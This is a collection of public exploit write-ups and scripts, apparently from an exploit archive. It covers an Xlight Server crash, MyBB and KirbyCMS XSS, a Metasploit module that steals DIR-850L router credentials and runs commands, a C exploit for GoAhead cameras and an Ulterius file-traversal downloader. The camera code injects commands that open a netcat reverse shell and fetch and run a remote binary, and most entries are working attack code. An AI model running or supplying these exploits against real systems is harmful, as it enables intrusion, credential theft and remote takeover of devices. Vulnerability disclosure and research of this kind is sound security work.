# PoC: generate crash.txt, copy contents to clipboard, paste in any of the vulnerable fields
#
# 1. Generate crash.txt, open, and copy contents to clipboard
# 2. In Xlight Server, open Global Options > Log > Session Log - Advanced Options > Setup
# 3. Select Filtering log by users > Setup
# 4. Add User
# 5. Paste crash.txt contents
# 6. Application crashes
#
# Additional vulnerable fields:
# Global Options > Log > Session Log - Advanced Options > Setup > Filtering log by groups > Setup > Add Group
# Virtual Server > Modify Virtual Server Configuration > Advanced > Misc > Execute a program after user logged in > Setup
#
#
file="crash.txt"
#file="crash64.txt"
crash = "A"*260 #crashes on 260 for x86, but more will do
#crash64 = "A"*272 #crashes on 272 for x64, but more will do
writeFile = open (file, "w")
writeFile.write( crash )
#writeFile.write( crash64 )
writeFile.close()
# Exploit Title: XSS in MyBB up to 1.8.13 via installer
# Date: Found on 05-29-2017
# Exploit Author: Pablo Sacristan
# Vendor Homepage: https://mybb.com/
# Version: Version > 1.8.13 (Fixed in 1.8.13)
# CVE : CVE-2017-16781
No HTML escaping when returning an $error in /install/index.php can
lead to an XSS which can be used to take over an attacker account.
The vulnerability occurs in /install/index.php:2503 and occurs because
there is no html encoding of the $error. A simple way to exploit this
is to create an error by using the Database Server Hostname and
inserting HTML characters there.
It is a POST XSS and this is a PoC:
<form name="x" action="http://target.com/install/index.php" method="post">
<input type="hidden" name='dbengine' value="mysqli">
<input type="hidden" name='config[mysqli][dbhost]' value="<img src=x onerror=alert(0)>">
<input type="hidden" name='config[mysqli][dbuser]' value="lol">
<input type="hidden" name='config[mysqli][dbpass]' value="lol">
<input type="hidden" name='config[mysqli][dbname]' value="lol">
<input type="hidden" name='config[mysqli][tableprefix]' value="lol">
<input type="hidden" name='config[mysqli][encoding]' value="utf8">
<input type="hidden" name='config[mysql][dbhost]' value="localhost">
<input type="hidden" name='action' value="create_tables">
</form>
<script>document.x.submit();</script>
Using this attack you can steal the cookies and you can install the MyBB server as you want, giving you almost full control over the MyBB server.
A simple fix would be to change the function error_list($array) to:
function error_list($array)
{
$string = "<ul>\n";
foreach($array as $error)
{
$string .= "<li>";
$string .= htmlspecialchars($error);
$string .= "</li>";
}
$string .= "</ul>\n";
return $string;
}
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'DIR-850L (Un)authenticated OS Command Exec',
'Description' => %q{
This module leverages an unauthenticated credential disclosure
vulnerability to then execute arbitrary commands on DIR-850L routers
as an authenticated user. Unable to use Meterpreter payloads.
},
'Author' => [
'Mumbai', # https://github.com/realoriginal (module)
'Zdenda' # vuln discovery
],
'References' => [
['URL', 'https://www.seebug.org/vuldb/ssvid-96333'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3310'],
],
'DisclosureDate' => 'Aug 9 2017',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsbe/shell/reverse_tcp'
},
'Privileged' => true,
'Payload' => {
'DisableNops' => true,
},
'Targets' => [[ 'Automatic', {} ]],
))
end
def check
begin
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res.headers['Server']
auth = res.headers['Server']
if auth =~ /DIR-850L/
if auth =~ /WEBACCESS\/1\.0/
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Detected
end
end
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
# some other DIR-8X series routers are vulnerable to this same retrieve creds vuln as well...
# should write an auxiliary module to-do -> WRITE AUXILIARY
def retrieve_creds
begin
xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
xml << "<postxml>\r\n"
xml << "<module>\r\n"
xml << " <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
xml << "</module>\r\n"
xml << "</postxml>"
res = send_request_cgi({
'uri' => '/hedwig.cgi',
'method' => 'POST',
'encode_params' => false,
'headers' => {
'Accept-Encoding' => 'gzip, deflate',
'Accept' => '*/*'
},
'ctype' => 'text/xml',
'cookie' => "uid=#{Rex::Text.rand_text_alpha_lower(8)}",
'data' => xml,
})
if res.body =~ /<password>(.*)<\/password>/ # fixes stack trace issue
parse = res.get_xml_document
username = parse.at('//name').text
password = parse.at('//password').text
vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
print_good("#{peer} - Downloaded credentials to #{loot}")
return username, password
else
fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end
def retrieve_uid
begin
res = send_request_cgi({
'uri' => '/authentication.cgi',
'method' => 'GET',
})
parse = res.get_json_document
uid = parse['uid']
challenge = parse['challenge']
return uid, challenge
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end
def login(username, password)
uid, challenge = retrieve_uid
begin
hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
send_request_cgi({
'uri' => '/authentication.cgi',
'method' => 'POST',
'data' => "id=#{username}&password=#{hash}",
'cookie' => "uid=#{uid}"
})
return uid
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end
def execute_command(cmd, opts)
uid = login(@username, @password) # reason being for loop is cause UID expires for some reason after executing 1 command
payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
payload << "<postxml>\r\n"
payload << "<module>\r\n"
payload << " <service>DEVICE.TIME</service>\r\n"
payload << " <device>\r\n"
payload << " <time>\r\n"
payload << " <ntp>\r\n"
payload << " <enable>1</enable>\r\n"
payload << " <period>604800</period>\r\n"
payload << " <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}&); </server>\r\n"
payload << " </ntp>\r\n"
payload << " <ntp6>\r\n"
payload << " <enable>1</enable>\r\n"
payload << " <period>604800</period>\r\n"
payload << " </ntp6>\r\n"
payload << " <timezone>20</timezone>\r\n"
payload << " <time/>\r\n"
payload << " <date/>\r\n"
payload << " <dst>0</dst>\r\n"
payload << " <dstmanual/>\r\n"
payload << " <dstoffset/>\r\n"
payload << " </time>\r\n"
payload << " </device>\r\n"
payload << "</module>\r\n"
payload << "</postxml>"
begin
# save configuration
res = send_request_cgi({
'uri' => '/hedwig.cgi',
'method' => 'POST',
'ctype' => 'text/xml',
'data' => payload,
'cookie' => "uid=#{uid}"
})
# execute configuration
res = send_request_cgi({
'uri' => '/pigwidgeon.cgi',
'method' => 'POST',
'data' => 'ACTIONS=SETCFG,ACTIVATE',
'cookie' => "uid=#{uid}"
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end
def exploit
print_status("#{peer} - Connecting to target...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
end
#
# Information Retrieval, obtains creds and logs in
#
@username, @password = retrieve_creds
execute_cmdstager(
:flavor => :wget,
:linemax => 200
)
end
end
// Exploit-DB Note ~ Source: https://pierrekim.github.io/advisories/expl-goahead-camera.c
// Exploit-DB Note ~ Credit: https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define CAM_PORT 80
#define REMOTE_HOST "192.168.1.1"
#define REMOTE_PORT "1337"
#define PAYLOAD_0 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc%20" REMOTE_HOST "+" REMOTE_PORT "%20-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n"
#define PAYLOAD_1 "GET /ftptest.cgi?next_url=test_ftp.htm&loginuse=%s&loginpas=%s\r\n\r\n"
#define PAYLOAD_2 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=passpasspasspasspasspasspasspasspass&dir=/&mode=PORT&upload_interval=0\r\n\r\n"
#define ALTERNATIVE_PAYLOAD_zero0 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc+" REMOTE_HOST "+" REMOTE_PORT "+-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n"
#define ALTERNATIVE_PAYLOAD_zero1 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(wget+http://" REMOTE_HOST "/stufz&&./stuff)&dir=/&mode=PORT&upload_interval=0\r\n\r\n"
char * creds(char *argv,
int get_config);
int rce(char *argv,
char *id,
char attack[],
char desc[]);
int main(int argc,
char **argv,
char **envp)
{
char *id;
printf("Camera 0day root RCE with connect-back @PierreKimSec\n\n");
if (argc < 2)
{
printf("%s target\n", argv[0]);
printf("%s target --get-config will dump the configuration and exit\n", argv[0]);
return (1);
}
if (argc == 2)
printf("Please run `nc -vlp %s` on %s\n\n", REMOTE_PORT, REMOTE_HOST);
if (argc == 3 && !strcmp(argv[2], "--get-config"))
id = creds(argv[1], 1);
else
id = creds(argv[1], 0);
if (id == NULL)
{
printf("exploit failed\n");
return (1);
}
printf("done\n");
printf(" login = %s\n", id);
printf(" pass = %s\n", id + 32);
if (!rce(argv[1], id, PAYLOAD_0, "planting"))
printf("done\n");
sleep(1);
if (!rce(argv[1], id, PAYLOAD_1, "executing"))
printf("done\n");
if (!rce(argv[1], id, PAYLOAD_2, "cleaning"))
printf("done\n");
if (!rce(argv[1], id, PAYLOAD_1, "cleaning"))
printf("done\n");
printf("[+] enjoy your root shell on %s:%s\n", REMOTE_HOST, REMOTE_PORT);
return (0);
}
char * creds(char *argv,
int get_config)
{
int sock;
int n;
struct sockaddr_in serv_addr;
char buf[8192] = { 0 };
char *out;
char *tmp;
char payload[] = "GET /system.ini?loginuse&loginpas HTTP/1.0\r\n\r\n";
int old_n;
int n_total;
sock = 0;
n = 0;
old_n = 0;
n_total = 0;
printf("[+] bypassing auth ... ");
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Error while creating socket\n");
return (NULL);
}
memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(CAM_PORT);
if (inet_pton(AF_INET, argv, &serv_addr.sin_addr) <= 0)
{
printf("Error while inet_pton\n");
return (NULL);
}
if (connect(sock, (struct sockaddr *)&serv_addr , sizeof(serv_addr)) < 0)
{
printf("creds: connect failed\n");
return (NULL);
}
if (send(sock, payload, strlen(payload) , 0) < 0)
{
printf("creds: send failed\n");
return (NULL);
}
if (!(tmp = malloc(10 * 1024 * sizeof(char))))
return (NULL);
if (!(out = calloc(64, sizeof(char))))
return (NULL);
while ((n = recv(sock, buf, sizeof(buf), 0)) > 0)
{
n_total += n;
if (n_total < 1024 * 10)
memcpy(tmp + old_n, buf, n);
if (n >= 0)
old_n = n;
}
close(sock);
/*
[ HTTP HEADERS ]
...
000????: 0000 0a0a 0a0a 01.. .... .... .... ....
^^^^ ^^^^ ^^
Useful reference in the binary data
in order to to find the positions of
credentials
...
...
0000690: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin...........
00006a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00006b0: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin...........
00006c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
...
NOTE: reference can be too:
000????: 0006 0606 0606 0100 000a .... .... ....
Other method: parse everything, find the "admin" string and extract the associated password
by adding 31bytes after the address of 'a'[dmin].
Works if the login is admin (seems to be this by default, but can be changed by the user)
*/
if (get_config)
{
for (unsigned int j = 0; j < n_total && j < 10 * 1024; j++)
printf("%c", tmp[j]);
exit (0);
}
for (unsigned int j = 50; j < 10 * 1024; j++)
{
if (tmp[j - 4] == 0x0a &&
tmp[j - 3] == 0x0a &&
tmp[j - 2] == 0x0a &&
tmp[j - 1] == 0x0a &&
tmp[j] == 0x01)
{
if (j + 170 < 10 * 1024)
{
strcat(out, &tmp[j + 138]);
strcat(out + 32 * sizeof(char), &tmp[j + 170]);
free(tmp);
return (out);
}
}
}
free(tmp);
return (NULL);
}
int rce(char *argv,
char *id,
char attack[],
char desc[])
{
int sock;
struct sockaddr_in serv_addr;
char *payload;
if (!(payload = calloc(512, sizeof(char))))
return (1);
sock = 0;
printf("[+] %s payload ... ", desc);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Error while creating socket\n");
return (1);
}
memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(CAM_PORT);
if (inet_pton(AF_INET, argv, &serv_addr.sin_addr) <= 0)
{
printf("Error while inet_pton\n");
return (1);
}
if (connect(sock, (struct sockaddr *)&serv_addr , sizeof(serv_addr)) < 0)
{
printf("rce: connect failed\n");
return (1);
}
sprintf(payload, attack, id, id + 32);
if (send(sock, payload, strlen(payload) , 0) < 0)
{
printf("rce: send failed\n");
return (1);
}
return (0);
}
# Exploit Title: Ulterius Server < 1.9.5.0 Directory Traversal Arbitrary File Access
# Date: 11/13/2017
# Exploit Author: Rick Osgood
# Vendor Homepage: https://ulterius.io/
# Software Link: https://github.com/Ulterius/server/tree/0e4f2113da287aac88a8b4c5f8364a03685d393d
# Version: < 1.9.5.0
# Tested on: Windows Server 2012 R2
# CVE : CVE-2017-16806
#
# You can download almost any file that resides on the same drive letter as Ulterius server.
# Example: http://ulteriusURL:22006/.../.../.../.../.../.../.../.../.../windows/win.ini
#
# Unfortunately, you need to know the path to the file you want to download.
# Fortunately, Ulterius indexes every file on the system, and it's usually stored in the same place:
# http://ulteriusURL:2206/.../fileIndex.db
#
# This script will retrieve the fileIndex.db file for you, decompress it, and process the list to
# make it human readable. Then you can use the same script to download any juicy files you find.
#
# Ulterius writes the following to the fileIndex.db file:
# First four bytes are a timestamp so we can ignore this
# The next four items repeat until the end of the file:
# filename.length (4 bytes?)
# filename
# directory.length (4 bytes?)
# directory
import requests
import sys
import argparse
import zlib
import struct
# This function grabs the filename or file path from the fileIndex
def processChunk(i, data):
length = struct.unpack('B', data[i])[0]
length += struct.unpack('B', data[i+1])[0]
length += struct.unpack('B', data[i+2])[0]
length += struct.unpack('B', data[i+3])[0]
i += 4
filename = data[i:i+length]
i += length
return i, filename
# Main function
def main():
# Parse arguments
parser = argparse.ArgumentParser(description='Ulterius exploit by Rick osgood')
parser.add_argument('url', type=str, nargs='+', help='URL of the Ulterius server including port')
parser.add_argument('--retrieve', metavar='FILEPATH', type=str, nargs='+', help='Retrieve file from server (e.g. c:\windows\win.ini)')
parser.add_argument('--index', help='Retrieve, decompress, and process fileIndex.db (List of all files indexed by Ulterius)', action='store_true')
args = parser.parse_args()
# We are going to retrieve a specified file
if args.retrieve:
fileName = str(args.retrieve[0])
# This works for the default Ulterius install directory.
baseDir = "/.../.../.../.../.../.../.../.../.../"
# Remove slashes from output file name
outFile = fileName.replace('\\','_')
# Remove drive letter and change slashes
if ":\\" in fileName[:3]:
fileName = fileName[3:]
# Replace slashes
fileName = fileName.replace('\\','/') # Replace slashes
# Build URL
url = str(args.url[0]) + baseDir + fileName
print "Retrieving " + url
# Download file
r = requests.get(url=url, stream=True) # Retrieve file
# Write file
f = open(outFile, 'w')
f.write(r.content)
# We are going to download the fileIndex.db file
if args.index:
# Setup the URL
url = args.url[0] + "/.../fileIndex.db"
print "Downloading " + url
# Download file
r = requests.get(url=url, stream=True)
# decompress the data
data = zlib.decompress( r.content, -15 )
# Open output file for writing
f = open('fileIndex.db', 'w')
# Strip off header info (not sure what this is)
data = data[8:]
# Process file names and write to output file
i = 0
while i < len(data):
i, filename = processChunk(i, data) # Get file name
i, directory = processChunk(i, data) # Get file path
i += 8 # Skip the FFFFFFFFFFFFFFFF
f.write(directory + '\\' + filename + '\n') # Write to output file
if __name__ == "__main__":
main()
# Exploit Title: KirbyCMS <2.5.7 Stored Cross Site Scripting
# Vendor Homepage: https://getkirby.com/
# Software Link: https://getkirby.com/try
# Discovered by: Ishaq Mohammed
# Contact: https://twitter.com/security_prince
# Website: https://about.me/security-prince
# Category: webapps
# Platform: PHP
# CVE: CVE-2017-16807
1. Description
A cross-site Scripting (XSS) vulnerability in Kirby Panel before 2.3.3, 2.4.x before 2.4.2, and 2.5.x before 2.5.7 exists when displaying a specially prepared SVG document that has been uploaded as a content file.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16807
2. Proof of Concept
Steps to Reproduce:
Log in as an Editor and click on Site Options
Add the malicious .svg file which contains the javascript to the Site
Login to another browser with Admin Credentials.
Click on Site Options.
Click on the newly added .svg file
3. Reference
https://securityprince.blogspot.in/2017/11/cve-2017-16807-kirby-cms-257-cross-site.html
https://getkirby.com/changelog/kirby-2-5-7
4. Solution
The vulnerability is patched by the vendor in the version 2.5.7.